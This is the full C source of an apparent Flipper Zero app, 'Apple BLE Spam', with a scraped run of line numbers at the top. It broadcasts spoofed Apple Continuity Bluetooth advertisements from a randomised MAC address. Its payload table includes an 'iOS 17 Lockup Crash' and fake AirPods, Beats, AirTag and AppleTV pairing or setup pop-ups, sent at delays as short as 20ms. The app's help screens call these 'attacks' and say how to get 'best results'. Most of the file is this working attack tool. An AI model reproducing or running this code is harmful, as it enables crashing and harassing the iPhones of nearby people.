apple_ble_spam.c 27 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837
  1. #include <gui/gui.h>
  2. #include <gui/elements.h>
  3. #include <furi_hal_bt.h>
  4. #include <furi_hal_random.h>
  5. #include <assets_icons.h>
  6. #include "apple_ble_spam_icons.h"
  7. #include "lib/continuity/continuity.h"
  8. typedef struct {
  9. const char* title;
  10. const char* text;
  11. bool random;
  12. ContinuityMsg msg;
  13. } Payload;
  14. // Hacked together by @Willy-JL
  15. // Custom adv logic by @Willy-JL (idea by @xMasterX)
  16. // iOS 17 Crash by @ECTO-1A
  17. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  18. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  19. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  20. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  21. static Payload
  22. payloads[] =
  23. {
  24. #if false
  25. {.title = "AirDrop",
  26. .text = "",
  27. .random = false,
  28. .msg =
  29. {
  30. .type = ContinuityTypeAirDrop,
  31. .data = {.airdrop = {}},
  32. }},
  33. {.title = "Airplay Target",
  34. .text = "",
  35. .random = false,
  36. .msg =
  37. {
  38. .type = ContinuityTypeAirplayTarget,
  39. .data = {.airplay_target = {}},
  40. }},
  41. {.title = "Handoff",
  42. .text = "",
  43. .random = false,
  44. .msg =
  45. {
  46. .type = ContinuityTypeHandoff,
  47. .data = {.handoff = {}},
  48. }},
  49. {.title = "Tethering Source",
  50. .text = "",
  51. .random = false,
  52. .msg =
  53. {
  54. .type = ContinuityTypeTetheringSource,
  55. .data = {.tethering_source = {}},
  56. }},
  57. {.title = "Mobile Backup",
  58. .text = "",
  59. .random = false,
  60. .msg =
  61. {
  62. .type = ContinuityTypeNearbyAction,
  63. .data = {.nearby_action = {.flags = 0xC0, .type = 0x04}},
  64. }},
  65. {.title = "Watch Setup",
  66. .text = "",
  67. .random = false,
  68. .msg =
  69. {
  70. .type = ContinuityTypeNearbyAction,
  71. .data = {.nearby_action = {.flags = 0xC0, .type = 0x05}},
  72. }},
  73. {.title = "Internet Relay",
  74. .text = "",
  75. .random = false,
  76. .msg =
  77. {
  78. .type = ContinuityTypeNearbyAction,
  79. .data = {.nearby_action = {.flags = 0xC0, .type = 0x07}},
  80. }},
  81. {.title = "WiFi Password",
  82. .text = "",
  83. .random = false,
  84. .msg =
  85. {
  86. .type = ContinuityTypeNearbyAction,
  87. .data = {.nearby_action = {.flags = 0xC0, .type = 0x08}},
  88. }},
  89. {.title = "Repair",
  90. .text = "",
  91. .random = false,
  92. .msg =
  93. {
  94. .type = ContinuityTypeNearbyAction,
  95. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}},
  96. }},
  97. {.title = "Apple Pay",
  98. .text = "",
  99. .random = false,
  100. .msg =
  101. {
  102. .type = ContinuityTypeNearbyAction,
  103. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}},
  104. }},
  105. {.title = "Developer Tools Pairing Request",
  106. .text = "",
  107. .random = false,
  108. .msg =
  109. {
  110. .type = ContinuityTypeNearbyAction,
  111. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}},
  112. }},
  113. {.title = "Answered Call",
  114. .text = "",
  115. .random = false,
  116. .msg =
  117. {
  118. .type = ContinuityTypeNearbyAction,
  119. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}},
  120. }},
  121. {.title = "Ended Call",
  122. .text = "",
  123. .random = false,
  124. .msg =
  125. {
  126. .type = ContinuityTypeNearbyAction,
  127. .data = {.nearby_action = {.flags = 0xC0, .type = 0x10}},
  128. }},
  129. {.title = "DD Ping",
  130. .text = "",
  131. .random = false,
  132. .msg =
  133. {
  134. .type = ContinuityTypeNearbyAction,
  135. .data = {.nearby_action = {.flags = 0xC0, .type = 0x11}},
  136. }},
  137. {.title = "DD Pong",
  138. .text = "",
  139. .random = false,
  140. .msg =
  141. {
  142. .type = ContinuityTypeNearbyAction,
  143. .data = {.nearby_action = {.flags = 0xC0, .type = 0x12}},
  144. }},
  145. {.title = "Companion Link Proximity",
  146. .text = "",
  147. .random = false,
  148. .msg =
  149. {
  150. .type = ContinuityTypeNearbyAction,
  151. .data = {.nearby_action = {.flags = 0xC0, .type = 0x14}},
  152. }},
  153. {.title = "Remote Management",
  154. .text = "",
  155. .random = false,
  156. .msg =
  157. {
  158. .type = ContinuityTypeNearbyAction,
  159. .data = {.nearby_action = {.flags = 0xC0, .type = 0x15}},
  160. }},
  161. {.title = "Remote Auto Fill Pong",
  162. .text = "",
  163. .random = false,
  164. .msg =
  165. {
  166. .type = ContinuityTypeNearbyAction,
  167. .data = {.nearby_action = {.flags = 0xC0, .type = 0x16}},
  168. }},
  169. {.title = "Remote Display",
  170. .text = "",
  171. .random = false,
  172. .msg =
  173. {
  174. .type = ContinuityTypeNearbyAction,
  175. .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
  176. }},
  177. {.title = "Nearby Info",
  178. .text = "",
  179. .random = false,
  180. .msg =
  181. {
  182. .type = ContinuityTypeNearbyInfo,
  183. .data = {.nearby_info = {}},
  184. }},
  185. #endif
  186. {.title = "Lockup Crash",
  187. .text = "iOS 17, locked, long range",
  188. .random = false,
  189. .msg =
  190. {
  191. .type = ContinuityTypeCustomCrash,
  192. .data = {.custom_crash = {}},
  193. }},
  194. {.title = "Random Action",
  195. .text = "Spam shuffle Nearby Actions",
  196. .random = true,
  197. .msg =
  198. {
  199. .type = ContinuityTypeNearbyAction,
  200. .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
  201. }},
  202. {.title = "Random Pair",
  203. .text = "Spam shuffle Proximity Pairs",
  204. .random = true,
  205. .msg =
  206. {
  207. .type = ContinuityTypeProximityPair,
  208. .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
  209. }},
  210. {.title = "AppleTV AutoFill",
  211. .text = "Banner, unlocked, long range",
  212. .random = false,
  213. .msg =
  214. {
  215. .type = ContinuityTypeNearbyAction,
  216. .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
  217. }},
  218. {.title = "AppleTV Connecting...",
  219. .text = "Modal, unlocked, long range",
  220. .random = false,
  221. .msg =
  222. {
  223. .type = ContinuityTypeNearbyAction,
  224. .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
  225. }},
  226. {.title = "Join This AppleTV?",
  227. .text = "Modal, unlocked, spammy",
  228. .random = false,
  229. .msg =
  230. {
  231. .type = ContinuityTypeNearbyAction,
  232. .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
  233. }},
  234. {.title = "AppleTV Audio Sync",
  235. .text = "Banner, locked, long range",
  236. .random = false,
  237. .msg =
  238. {
  239. .type = ContinuityTypeNearbyAction,
  240. .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
  241. }},
  242. {.title = "AppleTV Color Balance",
  243. .text = "Banner, locked",
  244. .random = false,
  245. .msg =
  246. {
  247. .type = ContinuityTypeNearbyAction,
  248. .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
  249. }},
  250. {.title = "Setup New iPhone",
  251. .text = "Modal, locked",
  252. .random = false,
  253. .msg =
  254. {
  255. .type = ContinuityTypeNearbyAction,
  256. .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
  257. }},
  258. {.title = "Setup New Random",
  259. .text = "Modal, locked, glitched",
  260. .random = false,
  261. .msg =
  262. {
  263. .type = ContinuityTypeNearbyAction,
  264. .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
  265. }},
  266. {.title = "Transfer Phone Number",
  267. .text = "Modal, locked",
  268. .random = false,
  269. .msg =
  270. {
  271. .type = ContinuityTypeNearbyAction,
  272. .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
  273. }},
  274. {.title = "HomePod Setup",
  275. .text = "Modal, unlocked",
  276. .random = false,
  277. .msg =
  278. {
  279. .type = ContinuityTypeNearbyAction,
  280. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
  281. }},
  282. {.title = "AirPods Pro",
  283. .text = "Modal, spammy (auto close)",
  284. .random = false,
  285. .msg =
  286. {
  287. .type = ContinuityTypeProximityPair,
  288. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
  289. }},
  290. {.title = "Beats Solo 3",
  291. .text = "Modal, spammy (stays open)",
  292. .random = false,
  293. .msg =
  294. {
  295. .type = ContinuityTypeProximityPair,
  296. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
  297. }},
  298. {.title = "AirPods Max",
  299. .text = "Modal, laggy (stays open)",
  300. .random = false,
  301. .msg =
  302. {
  303. .type = ContinuityTypeProximityPair,
  304. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
  305. }},
  306. {.title = "Beats Flex",
  307. .text = "Modal, laggy (stays open)",
  308. .random = false,
  309. .msg =
  310. {
  311. .type = ContinuityTypeProximityPair,
  312. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
  313. }},
  314. {.title = "Airtag",
  315. .text = "Modal, unlocked",
  316. .random = false,
  317. .msg =
  318. {
  319. .type = ContinuityTypeProximityPair,
  320. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
  321. }},
  322. {.title = "Hermes Airtag",
  323. .text = "",
  324. .random = false,
  325. .msg =
  326. {
  327. .type = ContinuityTypeProximityPair,
  328. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
  329. }},
  330. {.title = "Setup New AppleTV",
  331. .text = "Modal, unlocked",
  332. .random = false,
  333. .msg =
  334. {
  335. .type = ContinuityTypeNearbyAction,
  336. .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
  337. }},
  338. {.title = "Pair AppleTV",
  339. .text = "Modal, unlocked",
  340. .random = false,
  341. .msg =
  342. {
  343. .type = ContinuityTypeNearbyAction,
  344. .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
  345. }},
  346. {.title = "HomeKit AppleTV Setup",
  347. .text = "Modal, unlocked",
  348. .random = false,
  349. .msg =
  350. {
  351. .type = ContinuityTypeNearbyAction,
  352. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
  353. }},
  354. {.title = "AppleID for AppleTV?",
  355. .text = "Modal, unlocked",
  356. .random = false,
  357. .msg =
  358. {
  359. .type = ContinuityTypeNearbyAction,
  360. .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
  361. }},
  362. {.title = "AirPods",
  363. .text = "Modal, spammy (auto close)",
  364. .random = false,
  365. .msg =
  366. {
  367. .type = ContinuityTypeProximityPair,
  368. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
  369. }},
  370. {.title = "AirPods 2nd Gen",
  371. .text = "Modal, spammy (auto close)",
  372. .random = false,
  373. .msg =
  374. {
  375. .type = ContinuityTypeProximityPair,
  376. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
  377. }},
  378. {.title = "AirPods 3rd Gen",
  379. .text = "Modal, spammy (auto close)",
  380. .random = false,
  381. .msg =
  382. {
  383. .type = ContinuityTypeProximityPair,
  384. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
  385. }},
  386. {.title = "AirPods Pro 2nd Gen",
  387. .text = "Modal, spammy (auto close)",
  388. .random = false,
  389. .msg =
  390. {
  391. .type = ContinuityTypeProximityPair,
  392. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
  393. }},
  394. {.title = "Powerbeats 3",
  395. .text = "Modal, spammy (stays open)",
  396. .random = false,
  397. .msg =
  398. {
  399. .type = ContinuityTypeProximityPair,
  400. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
  401. }},
  402. {.title = "Powerbeats Pro",
  403. .text = "Modal, spammy (auto close)",
  404. .random = false,
  405. .msg =
  406. {
  407. .type = ContinuityTypeProximityPair,
  408. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
  409. }},
  410. {.title = "Beats Solo Pro",
  411. .text = "",
  412. .random = false,
  413. .msg =
  414. {
  415. .type = ContinuityTypeProximityPair,
  416. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
  417. }},
  418. {.title = "Beats Studio Buds",
  419. .text = "Modal, spammy (auto close)",
  420. .random = false,
  421. .msg =
  422. {
  423. .type = ContinuityTypeProximityPair,
  424. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
  425. }},
  426. {.title = "Beats X",
  427. .text = "Modal, spammy (stays open)",
  428. .random = false,
  429. .msg =
  430. {
  431. .type = ContinuityTypeProximityPair,
  432. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
  433. }},
  434. {.title = "Beats Studio 3",
  435. .text = "Modal, spammy (stays open)",
  436. .random = false,
  437. .msg =
  438. {
  439. .type = ContinuityTypeProximityPair,
  440. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
  441. }},
  442. {.title = "Beats Studio Pro",
  443. .text = "Modal, spammy (stays open)",
  444. .random = false,
  445. .msg =
  446. {
  447. .type = ContinuityTypeProximityPair,
  448. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
  449. }},
  450. {.title = "Beats Fit Pro",
  451. .text = "Modal, spammy (auto close)",
  452. .random = false,
  453. .msg =
  454. {
  455. .type = ContinuityTypeProximityPair,
  456. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
  457. }},
  458. {.title = "Beats Studio Buds+",
  459. .text = "Modal, spammy (auto close)",
  460. .random = false,
  461. .msg =
  462. {
  463. .type = ContinuityTypeProximityPair,
  464. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
  465. }},
  466. };
  467. #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
  468. struct {
  469. uint8_t count;
  470. ContinuityData** datas;
  471. } randoms[ContinuityTypeCount] = {0};
  472. uint16_t delays[] = {
  473. 20,
  474. 50,
  475. 100,
  476. 150,
  477. 200,
  478. 300,
  479. 400,
  480. 500,
  481. 750,
  482. 1000,
  483. 1500,
  484. 2000,
  485. 2500,
  486. 3000,
  487. 4000,
  488. 5000,
  489. };
  490. typedef struct {
  491. bool resume;
  492. bool advertising;
  493. uint8_t delay;
  494. uint8_t size;
  495. uint8_t* packet;
  496. Payload* payload;
  497. FuriThread* thread;
  498. uint8_t mac[GAP_MAC_ADDR_SIZE];
  499. int8_t index;
  500. } State;
  501. static int32_t adv_thread(void* ctx) {
  502. State* state = ctx;
  503. Payload* payload = state->payload;
  504. ContinuityMsg* msg = &payload->msg;
  505. ContinuityType type = msg->type;
  506. while(state->advertising) {
  507. if(payload->random) {
  508. uint8_t random_i = rand() % randoms[type].count;
  509. memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
  510. }
  511. continuity_generate_packet(msg, state->packet);
  512. furi_hal_bt_custom_adv_set(state->packet, state->size);
  513. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  514. }
  515. return 0;
  516. }
  517. static void stop_adv(State* state) {
  518. state->advertising = false;
  519. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  520. furi_thread_join(state->thread);
  521. furi_hal_bt_custom_adv_stop();
  522. }
  523. static void start_adv(State* state) {
  524. state->advertising = true;
  525. furi_thread_start(state->thread);
  526. uint16_t delay = delays[state->delay];
  527. furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
  528. }
  529. static void toggle_adv(State* state, Payload* payload) {
  530. if(state->advertising) {
  531. stop_adv(state);
  532. if(state->resume) furi_hal_bt_start_advertising();
  533. state->payload = NULL;
  534. free(state->packet);
  535. state->packet = NULL;
  536. state->size = 0;
  537. } else {
  538. state->size = continuity_get_packet_size(payload->msg.type);
  539. state->packet = malloc(state->size);
  540. state->payload = payload;
  541. furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
  542. state->resume = furi_hal_bt_is_active();
  543. furi_hal_bt_stop_advertising();
  544. start_adv(state);
  545. }
  546. }
  547. #define PAGE_MIN (-5)
  548. #define PAGE_MAX PAYLOAD_COUNT
  549. enum {
  550. PageApps = PAGE_MIN,
  551. PageDelay,
  552. PageDistance,
  553. PageProximityPair,
  554. PageNearbyAction,
  555. PageStart = 0,
  556. PageEnd = PAYLOAD_COUNT - 1,
  557. PageAbout = PAGE_MAX,
  558. };
  559. static void draw_callback(Canvas* canvas, void* ctx) {
  560. State* state = ctx;
  561. const char* back = "Back";
  562. const char* next = "Next";
  563. switch(state->index) {
  564. case PageStart - 1:
  565. next = "Spam";
  566. break;
  567. case PageStart:
  568. back = "Help";
  569. break;
  570. case PageEnd:
  571. next = "About";
  572. break;
  573. case PageEnd + 1:
  574. back = "Spam";
  575. break;
  576. }
  577. canvas_set_font(canvas, FontSecondary);
  578. canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
  579. canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
  580. switch(state->index) {
  581. case PageApps:
  582. canvas_set_font(canvas, FontBatteryPercent);
  583. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  584. elements_text_box(
  585. canvas,
  586. 4,
  587. 16,
  588. 120,
  589. 48,
  590. AlignLeft,
  591. AlignTop,
  592. "\e#Some Apps\e# interfere\n"
  593. "with the attacks, stay on\n"
  594. "homescreen for best results",
  595. false);
  596. break;
  597. case PageDelay:
  598. canvas_set_font(canvas, FontBatteryPercent);
  599. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  600. elements_text_box(
  601. canvas,
  602. 4,
  603. 16,
  604. 120,
  605. 48,
  606. AlignLeft,
  607. AlignTop,
  608. "\e#Delay\e# is time between\n"
  609. "attack attempts (top right),\n"
  610. "keep 20ms for best results",
  611. false);
  612. break;
  613. case PageDistance:
  614. canvas_set_font(canvas, FontBatteryPercent);
  615. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  616. elements_text_box(
  617. canvas,
  618. 4,
  619. 16,
  620. 120,
  621. 48,
  622. AlignLeft,
  623. AlignTop,
  624. "\e#Distance\e# is limited, attacks\n"
  625. "work under 1 meter but a\n"
  626. "few are marked 'long range'",
  627. false);
  628. break;
  629. case PageProximityPair:
  630. canvas_set_font(canvas, FontBatteryPercent);
  631. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  632. elements_text_box(
  633. canvas,
  634. 4,
  635. 16,
  636. 120,
  637. 48,
  638. AlignLeft,
  639. AlignTop,
  640. "\e#Proximity Pair\e# attacks\n"
  641. "keep spamming but work at\n"
  642. "very close range",
  643. false);
  644. break;
  645. case PageNearbyAction:
  646. canvas_set_font(canvas, FontBatteryPercent);
  647. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  648. elements_text_box(
  649. canvas,
  650. 4,
  651. 16,
  652. 120,
  653. 48,
  654. AlignLeft,
  655. AlignTop,
  656. "\e#Nearby Actions\e# work one\n"
  657. "time then need to lock and\n"
  658. "unlock the phone",
  659. false);
  660. break;
  661. case PageAbout:
  662. canvas_set_font(canvas, FontBatteryPercent);
  663. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About");
  664. elements_text_box(
  665. canvas,
  666. 4,
  667. 16,
  668. 122,
  669. 48,
  670. AlignLeft,
  671. AlignTop,
  672. "App+Spam by \e#WillyJL\e# XFW\n"
  673. "IDs and Crash by \e#ECTO-1A\e#\n"
  674. "Continuity by \e#furiousMAC\e#\n"
  675. " Version \e#1.2\e#",
  676. false);
  677. break;
  678. default: {
  679. if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break;
  680. const Payload* payload = &payloads[state->index];
  681. char str[32];
  682. canvas_set_font(canvas, FontBatteryPercent);
  683. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  684. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  685. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  686. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  687. canvas_set_font(canvas, FontBatteryPercent);
  688. snprintf(
  689. str,
  690. sizeof(str),
  691. "%02i/%02i: %s",
  692. state->index + 1,
  693. PAYLOAD_COUNT,
  694. continuity_get_type_name(payload->msg.type));
  695. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  696. canvas_set_font(canvas, FontPrimary);
  697. canvas_draw_str(canvas, 4, 32, payload->title);
  698. canvas_set_font(canvas, FontSecondary);
  699. canvas_draw_str(canvas, 4, 46, payload->text);
  700. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  701. break;
  702. }
  703. }
  704. if(state->index > PAGE_MIN) {
  705. elements_button_left(canvas, back);
  706. }
  707. if(state->index < PAGE_MAX) {
  708. elements_button_right(canvas, next);
  709. }
  710. }
  711. static void input_callback(InputEvent* input, void* ctx) {
  712. FuriMessageQueue* input_queue = ctx;
  713. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  714. input->type == InputTypeRepeat) {
  715. furi_message_queue_put(input_queue, input, 0);
  716. }
  717. }
  718. int32_t apple_ble_spam(void* p) {
  719. UNUSED(p);
  720. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  721. if(payloads[payload_i].random) continue;
  722. randoms[payloads[payload_i].msg.type].count++;
  723. }
  724. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  725. if(!randoms[type].count) continue;
  726. randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
  727. uint8_t random_i = 0;
  728. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  729. if(payloads[payload_i].random) continue;
  730. if(payloads[payload_i].msg.type == type) {
  731. randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
  732. }
  733. }
  734. }
  735. State* state = malloc(sizeof(State));
  736. state->thread = furi_thread_alloc();
  737. furi_thread_set_callback(state->thread, adv_thread);
  738. furi_thread_set_context(state->thread, state);
  739. furi_thread_set_stack_size(state->thread, 2048);
  740. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  741. ViewPort* view_port = view_port_alloc();
  742. Gui* gui = furi_record_open(RECORD_GUI);
  743. view_port_input_callback_set(view_port, input_callback, input_queue);
  744. view_port_draw_callback_set(view_port, draw_callback, state);
  745. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  746. bool running = true;
  747. while(running) {
  748. InputEvent input;
  749. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  750. Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ?
  751. &payloads[state->index] :
  752. NULL;
  753. bool advertising = state->advertising;
  754. switch(input.key) {
  755. case InputKeyOk:
  756. if(payload) toggle_adv(state, payload);
  757. break;
  758. case InputKeyUp:
  759. if(payload && state->delay < COUNT_OF(delays) - 1) {
  760. if(advertising) stop_adv(state);
  761. state->delay++;
  762. if(advertising) start_adv(state);
  763. }
  764. break;
  765. case InputKeyDown:
  766. if(payload && state->delay > 0) {
  767. if(advertising) stop_adv(state);
  768. state->delay--;
  769. if(advertising) start_adv(state);
  770. }
  771. break;
  772. case InputKeyLeft:
  773. if(state->index > PAGE_MIN) {
  774. if(advertising) toggle_adv(state, payload);
  775. state->index--;
  776. }
  777. break;
  778. case InputKeyRight:
  779. if(state->index < PAGE_MAX) {
  780. if(advertising) toggle_adv(state, payload);
  781. state->index++;
  782. }
  783. break;
  784. case InputKeyBack:
  785. if(advertising) toggle_adv(state, payload);
  786. running = false;
  787. break;
  788. default:
  789. continue;
  790. }
  791. view_port_update(view_port);
  792. }
  793. gui_remove_view_port(gui, view_port);
  794. furi_record_close(RECORD_GUI);
  795. view_port_free(view_port);
  796. furi_message_queue_free(input_queue);
  797. furi_thread_free(state->thread);
  798. free(state);
  799. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  800. free(randoms[type].datas);
  801. }
  802. return 0;
  803. }